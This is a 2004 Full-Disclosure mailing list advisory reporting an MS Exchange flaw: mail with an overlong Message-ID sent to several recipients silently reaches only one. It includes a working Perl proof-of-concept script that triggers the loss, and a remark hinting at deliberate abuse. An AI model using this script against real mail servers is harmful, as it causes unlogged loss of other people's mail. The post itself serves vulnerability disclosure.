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MS Exchange message lost
From: I.D.S () gmx de
Date: Wed, 12 May 2004 11:52:23 +0200 (MEST)
* MS Exchange duplicate message fault (message lost) * * MS Exchange (all versions affected) duplicate message fault * * I discovered this bug independently on 10, 2003 * * public post 05, 2004 * * Helmut Schmitz < i.d.s () gmx de > * * (c) 2003/2004 Copyright by Helmut Schmitz - HackForce.NET - */ MS Exchange Server (tested on 5.5 and 2003) has a bug ... If you send Messages with long message ids (>189 bytes?)to more than one recipient (cc), the message will not delivered correctly ... there is no correct logging !!, the messages will be delivered to only one Recipient ... the message to the other will be lost !! I have send this issue to Microsoft (10.2003) ... some months later (05.2004) I got the fix, but not public ... store.exe (6.5.6980.81) with some reg settings fixes (workaround ;-) the problem. Perl Example (test exploit) ... #!/usr/bin/perl -w use Net::SMTP; $from = 'sender () yourdomain de'; $to = 'user1 () yourdomain de'; $cc = 'user2 () yourdomain de'; $subject = 'Test Email'; $smtp = Net::SMTP->new('yourmailserver'); $smtp->mail($from); $smtp->to($to); $smtp->cc($cc); $smtp->data(); $smtp->datasend("To: <$to>\n"); $smtp->datasend("Cc: <$cc>\n"); $smtp->datasend("From: <$from>\n"); $smtp->datasend("Subject: $subject\n"); $smtp->datasend("Message-ID: <veryverylongmessageid123ondljzhngqwenfghnrjhgdlutjfohnfiztgefnuhderlhte ngeifeejktmhedgedherngrondljzhngqwenfghnrjhgdlutjfohnfiztgefnuhderlhteng eifeejktmhedgedherngrondljzhngqwenfghnrjhgdlutjfohnfiztgefnuhderlhtengei feejktmhedgedherngrondljzhng> \n"); $smtp->datasend("Hallo\n"); $smtp->datasend("123\n"); $smtp->datasend("123\n"); $smtp->datasend("123\n"); $smtp->dataend(); $smtp->quit; Background: Duplicate detection is decided by three factors. These are MessageID, RootFID (the root folder ID of the mailbox) and the SubmitTime into the store. These are used to build a unique key when the message is submitted. If all the factors are the same value, then we recognize the message as duplicate. ################################### I think some people know how to use this "FEATURE" ... I hope this post will speed up the fix release! Regards, Helmut Schmitz -- "Sie haben neue Mails!" - Die GMX Toolbar informiert Sie beim Surfen! Jetzt aktivieren unter http://www.gmx.net/info _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
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